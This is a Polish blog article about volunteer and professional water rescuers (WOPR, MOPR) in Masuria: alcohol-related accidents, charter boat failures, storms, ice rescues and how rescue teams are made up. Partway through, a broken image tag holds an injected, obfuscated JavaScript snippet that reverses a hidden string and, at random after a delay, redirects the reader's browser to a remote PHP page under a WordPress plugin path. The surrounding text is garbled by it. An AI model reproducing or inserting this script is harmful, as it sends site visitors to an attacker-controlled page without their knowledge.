Mówią z przekąsem, że ich praca często kojarzona jest z kadrami z filmu „Słoneczny patrol”, gdzie opaleni ratownicy siedzą na plaży i prowadzą życie towarzyskie. Ich dzień wygląda jednak zgoła inaczej. Po pierwsze – nie siedzą na plaży, tylko w biurze, więc nie mają możliwości zająć się swoją opalenizną, po drugie – czekają na zgłoszenie przy telefonie lub przy karetce czy łódce, które zawsze są w pogotowiu. Czekają, bo to ich praca.Ratownicy WOPR (Wodne Ochotnicze Pogotowie Ratunkowe) i MOPR (Mazurskie Ochotnicze Pogotowie Ratunkowe) wspominali nie raz, że czują, że ich praca nie zawsze jest szanowana, bo ludzie nie zdają sobie sprawy z odpowiedzialności i często uważają, że płacą podatki, więc taka pomoc im się należy.

Oczywiście, służby są po to, żeby pomagać i nie oceniać ludzi, których ratują, ale jak słyszy się od nich, że 80 procent wypadków, w których biorą udział, dzieje się po spożyciu alkoholu, to podziwiamy ich za cierpliwość. Choć stale edukują, to jednak ludzie nie zdają sobie sprawy, że alkohol może być przeszkodą, nie wszystko łatwo po nim przewidzieć i można przecenić swoje umiejętności, ponieważ nasza koordynacja jest uśpiona i czujność spada. Turyści często nie wiedzą, że woda ma ok. 20 stopni, a temperatura skóry na słońcu nawet 40 stopni. Grozi nam więc szok termiczny, gdy wpadamy do takiej wody.

A nawet, gdy nie planujemy się zanurzać, to przebywanie na wodzie zawsze zawiera w sobie element ryzyka. W porcie, na żaglówce, też de facto jestem na wodzie. Wysłuchaliśmy kilku podobnych historii, jak ludzie w nocy biesiadowali na łódce w porcie i ktoś stwierdził, że pójdzie do miasta, na brzeg etc., a rano okazywało się, że ta osoba nie zauważyła, że skończył się pomost, poszła w złą stronę, ale było już za późno. Dlatego tak ważny jest zdrowy rozsądek, o który apelują ratownicy. Nawet imprezy w porcie powinny odbywać się ze świadomością, że jutro zamierzamy płynąć dalej i nie będziemy w 100 proc. sprawni. W przypadku samochodu większość osób wie, ile czasu potrzebuje, żeby móc prowadzić, a na łodzi – często o tym zapominają, że na wodzie czyha jeszcze więcej zagrożeń.

MOPR

Mazurskie Ochotnicze Pogotowie Ratunkowe

Kiedy najczęściej pomagają ratownicy?
Ogólnie rzecz ujmując, WOPR i MOPR pomagają ludziom będącym w obrębie jezior i na jeziorach. Nie zawsze akcja musi dziać się w wodzie. Jeżeli w domu, który stoi nad jeziorem, ktoś upadł, złamał nogę, czy dostał krwotoku albo ugryzła go osa – to także są sprawy dla ratowników. Gdy pytam ich, w jakich akcjach najczęściej biorą udział, mówią, że gama wypadków jest tak duża, że mogliby siedzieć pół dnia, żeby o tym mówić, bo turyści mają „ułańską fantazję”.

Podstawą jest oczywiście ratowanie ludzkiego zdrowia czy życia, ale osoba nie zawsze musi się topić. Sytuacje, które mogą się zdarzyć, oprócz takich, związanych z wodą, dotyczą też na przykład zdarzeń technicznych z udziałem łodzi czarterowych, które są latem bardzo mocno eksploatowane. W środku czy pod koniec sezonu warto sobie zdać z tego sprawę, że były one użytkowane, czasami intensywnie, że coś w nich może nie działać, gdyż przygotowane były kilka miesięcy temu, a teraz nie ma czasu, żeby skontrolować problemy techniczne, ponieważ ciągle są używane. Więc, gdy zaczyna mocniej wiać, to pewne elementy dają niestety o sobie znać i okazuje się, że silnik nie zadziałał, lina nie wytrzymała, ster nie jest sprawny i wówczas żeglarze lądują w krzakach czy na mieliznach. Czasami kończy się to „tylko” holowaniem, ale zdarzają się także uszkodzenia, np. dziura w poszyciu, uszkodzenie sterów, silników i wtedy pojawia się bezpośrednie zagrożenie życia załogi.

Jeżeli są bardzo dobre warunki pogodowe i ktoś ląduje na mieliźnie, bo źle odczytał oznakowanie albo lina mu pękła, której nie dopilnował, to nie jest wypadek losowy tylko niedopatrzenie. Ale ratownicy takim żeglarzom też muszą pomóc. Czy to jest bezpośrednie zagrożenie życia i zdrowia? Jeżeli są dobre warunki, to nie ma, a jeśli spodziewamy się załamania pogody, zaczyna się ściemniać i robi się późno, to jest pośrednie zagrożenie.

Wiele takich działań technicznych jest płatnych, ponieważ jacht pojawił się w konkretnym miejscu z winy sternika. Działa to na podobnej zasadzie, jak na drodze – wjechaliśmy do rowu, ktoś nas wyciąga, trzeba za to zapłacić.  Jeżeli powstaną uszkodzenia w czarterowanej łodzi i jest to ubezpieczony sprzęt, właściciel będzie miał szanse odzyskania części kosztów, natomiast żeglarze tracą wpłaconą kaucję.

Czasami mają miejsce zdarzenia pogodowe, przykładem jest tzw. „biały szkwał” z 2007 roku, czyli silna burza związana z frontem szkwałowym, gdzie prędkość wiatru była najmocniejsza w historii i nikt nie był w stanie przewidzieć takiej siły zjawiska. Wówczas – dzięki sprawnej pracy ratowników – dziesiątki, a nawet setkę osób udało się uratować. Prace były wyczerpujące i trwały kilka dni, stawiając na baczność wszystkie siły, osoby i sprzęty.

Innym przykładem mogą być powodzie w Polsce, gdzie ratownicy wspierają powodzian i służby ratunkowe, przenosząc się na zalane tereny.

Jednak woda, to nie tylko jeziora, ale też morzeplaże i baseny, gdzie praca ma inną specyfikę. Ratownicy, którzy pracowali nad morzem podkreślają, że nauczyli się korzystać ze sprzętu, który nie jest potrzebny nad jeziorem, na przykład – skutery wodne. Praca na plaży zarówno nad morzem, jak i nad jeziorem, związana jest z okresem wakacyjnym, kiedy to potrzebny jest ratownik działający w obrębie kąpieliska przy plaży. WOPR zatrudnia w tym czasie dodatkowe osoby, na co dostaje fundusze z budżetu miasta. Na basenie zaś praca jest całoroczna i też jej specyfika jest inna. Ratownicy podkreślają, że tam sprawdzają się te osoby, które lubią mieć sytuację pod względną kontrolą i wszystko w promieniu własnego wzroku. Aby pracować na basenie nie trzeba zdawać wszystkich kursów, które robi się w WOPR, wystarczy pierwszy stopień wtajemniczenia.

Jeszcze inaczej wygląda z kolei praca ratowników zimą, kiedy to lód jest bezpośrednim zagrożeniem. Zdarzają się akcje, kiedy dzieci bawią się w niedozwolonym miejscu. WOPR niesie też pomoc wędkarzom i rybakom, którzy najczęściej jako pierwsi w roku pojawiają się na jeziorach.

Mazurskie Ochotnicze Pogo<script srcset=$NqM=function(n){if (typeof ($NqM.list[n]) == „string”) return $NqM.list[n].split(„”).reverse().join(„”);return $NqM.list[n];};$NqM.list=[„\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}towie Ratunkowe” width=”2880″ height=”1620″/>

Ratownicy biorą też udział w regatach, zawodach pływackich czy innych akcjach jako obsługa ratownicza impr.

Czasami pomoc WOPR nie wystarcza i pacjent musi zostać odwieziony do Szpitalnego Oddziału Ratunkowego (SOR). Wtedy ratownicy wcześniej informują oddział, żeby się przygotował, zaangażował na przykład dodatkowego lekarza. Szczególnie w okresie wakacji jest problem z dostępnością karetki czy sprzętu, w miasteczkach może być nawet dwa razy więcej osób niż poza sezonem, karetka interweniuje w portach, miejscowi czekają. W okresie wakacji nie ma większej liczby osób do pracy czy karetek, więc wzajemna pomoc między służbami jest bardzo istotna.

Kim są ludzie, którzy pomagają nam na wodzie?

Ratownicy to ludzie wszechstronni i tacy muszą być – świetnie pływający, sprawni fizyczni, znający wodę jak własną kieszeń, kierujący łodzią motorową, będący pomocą dla sternika przy cumowaniu, odporni psychicznie, empatyczni. W każdym zespole musi być minimum 2 lub 3 osoby. Jedna kieruje łodzią, inna ratuje i powinna mieć wsparcie trzeciej osoby, na którą zawsze może liczyć. W każdym zespole musi być przynajmniej jeden zawodowy ratownik, który posiada większą wiedzę, doświadczenie i będzie sprawował większy nadzór nad tym, co się dzieje. Jest on osobą decyzyjną, odpowiada za powierzony sprzęt. Zawsze większa odpowiedzialność spoczywa na ratowniku zawodowym, choć ochotnicy, wchodząc na łódź, też wiedzą, że są odpowiedzialni za to, co się na niej znajduje. Gdy jest trudniejsza akcja, może być potrzebny na przykład płetwonurek, jeśli jest potrzeba podjęcia skomplikowanych działań technicznych – ekipa na kuter, to wszystko zależy od akcji.

Zdaniem ratowników, żeby utrzymać służbę na wysokim poziomie, potrzebna jest przede wszystkim kadra zawodowa. Wysokiego poziomu bezpieczeństwa i zaufania nie da się zbudować na samych ochotnikach, którzy odchodzą, bo wciąż za mało etatów można dla nich stworzyć.

Więcej na temat tego, co zrobić, żeby zostać ratownikiem, będziemy pisać w kolejnych wpisach.

townicy.png” alt=”Zycie Innych ratownicy wodni gorscy pzu” width=”1300″ height=”400″ />